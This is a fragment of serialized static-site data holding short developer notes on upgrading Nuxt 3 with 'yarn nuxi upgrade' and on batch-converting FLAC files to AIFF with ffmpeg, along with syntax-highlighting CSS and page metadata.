var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":101,"searchDepth":129,"depth":129,"links":1354},[],"2022-08-20","How to use reactive() in Vue 3 Composition API to create component state similar to Options API data()",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":1066,"description":1356},{"loc":1358},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[1098,1363,1364],"composition-api","reactive","96O7U6Y83TlYNqqAf521cyGpqClhv0qB2l1dmJtT0pw",{"id":1367,"title":1368,"author":1067,"body":1369,"date":1406,"description":1407,"extension":634,"image":635,"meta":1408,"navigation":138,"path":1409,"seo":1410,"sitemap":1411,"stem":1412,"tags":1413,"__hash__":1416},"content_en\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","How to upgrade Nuxt 3 project",{"type":8,"value":1370,"toc":1404},[1371,1374,1392,1395,1401],[11,1372,1368],{"id":1373},"how-to-upgrade-nuxt-3-project",[93,1375,1379],{"className":1376,"code":1377,"language":1378,"meta":101,"style":101},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[36,1380,1381],{"__ignoreMap":101},[120,1382,1383,1386,1389],{"class":122,"line":123},[120,1384,1385],{"class":1149},"yarn",[120,1387,1388],{"class":1128}," nuxi",[120,1390,1391],{"class":1128}," upgrade\n",[21,1393,1394],{},"Example output:",[93,1396,1399],{"className":1397,"code":1398,"language":98},[96],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[36,1400,1398],{"__ignoreMap":101},[618,1402,1403],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":101,"searchDepth":129,"depth":129,"links":1405},[],"2022-08-15","Simple command to upgrade Nuxt 3 to the latest version",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":1368,"description":1407},{"loc":1409},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1414,1098,1415],"nuxt","cli","dM5MoKBMK4iO3YLcsO41-7FRCbfQBNHrd0MQxnAIkWM",{"id":1418,"title":1419,"author":1067,"body":1420,"date":1533,"description":1534,"extension":634,"image":635,"meta":1535,"navigation":138,"path":1536,"seo":1537,"sitemap":1538,"stem":1539,"tags":1540,"__hash__":1544},"content_en\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Batch converting FLAC to AIFF using ffmpeg",{"type":8,"value":1421,"toc":1531},[1422,1425,1428,1444,1455,1528],[11,1423,1419],{"id":1424},"batch-converting-flac-to-aiff-using-ffmpeg",[21,1426,1427],{},"You need ffmpeg to be installed. For macOS:",[93,1429,1431],{"className":1376,"code":1430,"language":1378,"meta":101,"style":101},"brew install ffmpeg\n",[36,1432,1433],{"__ignoreMap":101},[120,1434,1435,1438,1441],{"class":122,"line":123},[120,1436,1437],{"class":1149},"brew",[120,1439,1440],{"class":1128}," install",[120,1442,1443],{"class":1128}," ffmpeg\n",[21,1445,1446,1447,1450,1451,1454],{},"This command will convert all ",[36,1448,1449],{},"*.flac"," files to ",[36,1452,1453],{},"*.aiff",":",[93,1456,1458],{"className":1376,"code":1457,"language":1378,"meta":101,"style":101},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[36,1459,1460],{"__ignoreMap":101},[120,1461,1462,1465,1468,1471,1474,1477,1480,1483,1486,1489,1492,1495,1498,1501,1504,1507,1510,1513,1516,1518,1520,1523,1525],{"class":122,"line":123},[120,1463,1464],{"class":1118},"for",[120,1466,1467],{"class":1105}," i ",[120,1469,1470],{"class":1118},"in",[120,1472,1473],{"class":1128}," *.flac",[120,1475,1476],{"class":1105},"; ",[120,1478,1479],{"class":1118},"do",[120,1481,1482],{"class":1149}," ffmpeg",[120,1484,1485],{"class":1161}," -i",[120,1487,1488],{"class":1128}," \"",[120,1490,1491],{"class":1105},"$i",[120,1493,1494],{"class":1128},"\"",[120,1496,1497],{"class":1161}," -write_id3v2",[120,1499,1500],{"class":1161}," 1",[120,1502,1503],{"class":1161}," -c:v",[120,1505,1506],{"class":1128}," copy",[120,1508,1509],{"class":1128}," \"${",[120,1511,1512],{"class":1105},"i",[120,1514,1515],{"class":1118},"%",[120,1517,190],{"class":1128},[120,1519,1230],{"class":1118},[120,1521,1522],{"class":1128},"}.aiff\"",[120,1524,1476],{"class":1105},[120,1526,1527],{"class":1118},"done\n",[618,1529,1530],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":101,"searchDepth":129,"depth":129,"links":1532},[],"2022-08-10","One-liner to convert all FLAC files to AIFF format using ffmpeg on macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1419,"description":1534},{"loc":1536},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1541,1542,1415,1543],"ffmpeg","audio","macos","TAUWGNDcayHB2yDba8Sq8DH-TcIpYitPjo-XPI7ple0",[1546],{"id":4,"title":5,"author":6,"body":1547,"date":632,"description":633,"extension":634,"image":635,"meta":1958,"navigation":138,"path":637,"seo":1959,"sitemap":1960,"stem":640,"tags":1961,"__hash__":646},{"type":8,"value":1548,"toc":1947},[1549,1551,1553,1557,1567,1569,1584,1586,1590,1592,1597,1601,1603,1627,1629,1631,1633,1637,1645,1651,1653,1657,1669,1671,1673,1677,1917,1921,1927,1929,1931,1935,1945],[11,1550,14],{"id":13},[16,1552,19],{"id":18},[21,1554,1555,27],{},[24,1556,26],{},[21,1558,30,1559,34,1561,39,1563,43,1565,47],{},[24,1560,33],{},[36,1562,38],{},[36,1564,42],{},[36,1566,46],{},[16,1568,51],{"id":50},[21,1570,1571,57,1573,1576,1578,71,1580,1582,77],{},[24,1572,56],{},[59,1574,64],{"href":61,"rel":1575},[63],[66,1577],{},[24,1579,70],{},[66,1581],{},[24,1583,76],{},[16,1585,81],{"id":80},[21,1587,84,1588,88],{},[36,1589,87],{},[21,1591,91],{},[93,1593,1595],{"className":1594,"code":97,"language":98},[96],[36,1596,97],{"__ignoreMap":101},[21,1598,104,1599,108],{},[36,1600,107],{},[21,1602,111],{},[93,1604,1605],{"className":114,"code":115,"language":116,"meta":101,"style":101},[36,1606,1607,1611,1615,1619,1623],{"__ignoreMap":101},[120,1608,1609],{"class":122,"line":123},[120,1610,126],{},[120,1612,1613],{"class":122,"line":129},[120,1614,132],{},[120,1616,1617],{"class":122,"line":135},[120,1618,139],{"emptyLinePlaceholder":138},[120,1620,1621],{"class":122,"line":142},[120,1622,145],{},[120,1624,1625],{"class":122,"line":148},[120,1626,151],{},[21,1628,154],{},[16,1630,158],{"id":157},[160,1632,163],{"id":162},[21,1634,166,1635,170],{},[36,1636,169],{},[93,1638,1639],{"className":114,"code":173,"language":116,"meta":101,"style":101},[36,1640,1641],{"__ignoreMap":101},[120,1642,1643],{"class":122,"line":123},[120,1644,173],{},[21,1646,182,1647,186,1649,190],{},[36,1648,185],{},[24,1650,189],{},[160,1652,194],{"id":193},[21,1654,166,1655,200],{},[36,1656,199],{},[93,1658,1659],{"className":114,"code":203,"language":116,"meta":101,"style":101},[36,1660,1661,1665],{"__ignoreMap":101},[120,1662,1663],{"class":122,"line":123},[120,1664,210],{},[120,1666,1667],{"class":122,"line":129},[120,1668,215],{},[21,1670,218],{},[160,1672,222],{"id":221},[21,1674,225,1675,229],{},[36,1676,228],{},[93,1678,1679],{"className":232,"code":233,"language":234,"meta":101,"style":101},[36,1680,1681,1685,1689,1693,1697,1701,1705,1709,1713,1717,1721,1725,1729,1733,1737,1741,1745,1749,1753,1757,1761,1765,1769,1773,1777,1781,1785,1789,1793,1797,1801,1805,1809,1813,1817,1821,1825,1829,1833,1837,1841,1845,1849,1853,1857,1861,1865,1869,1873,1877,1881,1885,1889,1893,1897,1901,1905,1909,1913],{"__ignoreMap":101},[120,1682,1683],{"class":122,"line":123},[120,1684,241],{},[120,1686,1687],{"class":122,"line":129},[120,1688,246],{},[120,1690,1691],{"class":122,"line":135},[120,1692,251],{},[120,1694,1695],{"class":122,"line":142},[120,1696,139],{"emptyLinePlaceholder":138},[120,1698,1699],{"class":122,"line":148},[120,1700,260],{},[120,1702,1703],{"class":122,"line":263},[120,1704,266],{},[120,1706,1707],{"class":122,"line":269},[120,1708,272],{},[120,1710,1711],{"class":122,"line":275},[120,1712,278],{},[120,1714,1715],{"class":122,"line":281},[120,1716,139],{"emptyLinePlaceholder":138},[120,1718,1719],{"class":122,"line":286},[120,1720,289],{},[120,1722,1723],{"class":122,"line":292},[120,1724,295],{},[120,1726,1727],{"class":122,"line":298},[120,1728,301],{},[120,1730,1731],{"class":122,"line":304},[120,1732,139],{"emptyLinePlaceholder":138},[120,1734,1735],{"class":122,"line":309},[120,1736,139],{"emptyLinePlaceholder":138},[120,1738,1739],{"class":122,"line":314},[120,1740,317],{},[120,1742,1743],{"class":122,"line":320},[120,1744,323],{},[120,1746,1747],{"class":122,"line":326},[120,1748,329],{},[120,1750,1751],{"class":122,"line":332},[120,1752,335],{},[120,1754,1755],{"class":122,"line":338},[120,1756,341],{},[120,1758,1759],{"class":122,"line":344},[120,1760,139],{"emptyLinePlaceholder":138},[120,1762,1763],{"class":122,"line":349},[120,1764,139],{"emptyLinePlaceholder":138},[120,1766,1767],{"class":122,"line":354},[120,1768,357],{},[120,1770,1771],{"class":122,"line":360},[120,1772,363],{},[120,1774,1775],{"class":122,"line":366},[120,1776,369],{},[120,1778,1779],{"class":122,"line":372},[120,1780,375],{},[120,1782,1783],{"class":122,"line":378},[120,1784,381],{},[120,1786,1787],{"class":122,"line":384},[120,1788,387],{},[120,1790,1791],{"class":122,"line":390},[120,1792,393],{},[120,1794,1795],{"class":122,"line":396},[120,1796,399],{},[120,1798,1799],{"class":122,"line":402},[120,1800,139],{"emptyLinePlaceholder":138},[120,1802,1803],{"class":122,"line":407},[120,1804,139],{"emptyLinePlaceholder":138},[120,1806,1807],{"class":122,"line":412},[120,1808,415],{},[120,1810,1811],{"class":122,"line":418},[120,1812,421],{},[120,1814,1815],{"class":122,"line":424},[120,1816,427],{},[120,1818,1819],{"class":122,"line":430},[120,1820,381],{},[120,1822,1823],{"class":122,"line":435},[120,1824,438],{},[120,1826,1827],{"class":122,"line":441},[120,1828,444],{},[120,1830,1831],{"class":122,"line":447},[120,1832,139],{"emptyLinePlaceholder":138},[120,1834,1835],{"class":122,"line":452},[120,1836,139],{"emptyLinePlaceholder":138},[120,1838,1839],{"class":122,"line":457},[120,1840,460],{},[120,1842,1843],{"class":122,"line":463},[120,1844,466],{},[120,1846,1847],{"class":122,"line":469},[120,1848,472],{},[120,1850,1851],{"class":122,"line":475},[120,1852,478],{},[120,1854,1855],{"class":122,"line":481},[120,1856,484],{},[120,1858,1859],{"class":122,"line":487},[120,1860,490],{},[120,1862,1863],{"class":122,"line":493},[120,1864,496],{},[120,1866,1867],{"class":122,"line":499},[120,1868,502],{},[120,1870,1871],{"class":122,"line":505},[120,1872,508],{},[120,1874,1875],{"class":122,"line":511},[120,1876,514],{},[120,1878,1879],{"class":122,"line":517},[120,1880,139],{"emptyLinePlaceholder":138},[120,1882,1883],{"class":122,"line":522},[120,1884,139],{"emptyLinePlaceholder":138},[120,1886,1887],{"class":122,"line":527},[120,1888,530],{},[120,1890,1891],{"class":122,"line":533},[120,1892,536],{},[120,1894,1895],{"class":122,"line":539},[120,1896,542],{},[120,1898,1899],{"class":122,"line":545},[120,1900,548],{},[120,1902,1903],{"class":122,"line":551},[120,1904,139],{"emptyLinePlaceholder":138},[120,1906,1907],{"class":122,"line":556},[120,1908,139],{"emptyLinePlaceholder":138},[120,1910,1911],{"class":122,"line":561},[120,1912,564],{},[120,1914,1915],{"class":122,"line":567},[120,1916,570],{},[21,1918,573,1919],{},[36,1920,576],{},[21,1922,579,1923,583,1925,587],{},[36,1924,582],{},[36,1926,586],{},[16,1928,591],{"id":590},[21,1930,594],{},[21,1932,1933],{},[24,1934,599],{},[601,1936,1937,1939,1941],{},[604,1938,606],{},[604,1940,609],{},[604,1942,612,1943,616],{},[36,1944,615],{},[618,1946,620],{},{"title":101,"searchDepth":129,"depth":129,"links":1948},[1949,1950,1951,1952,1957],{"id":18,"depth":129,"text":19},{"id":50,"depth":129,"text":51},{"id":80,"depth":129,"text":81},{"id":157,"depth":129,"text":158,"children":1953},[1954,1955,1956],{"id":162,"depth":135,"text":163},{"id":193,"depth":135,"text":194},{"id":221,"depth":135,"text":222},{"id":590,"depth":129,"text":591},{},{"title":5,"description":633},{"loc":637},[642,643,644,645],1776084468190]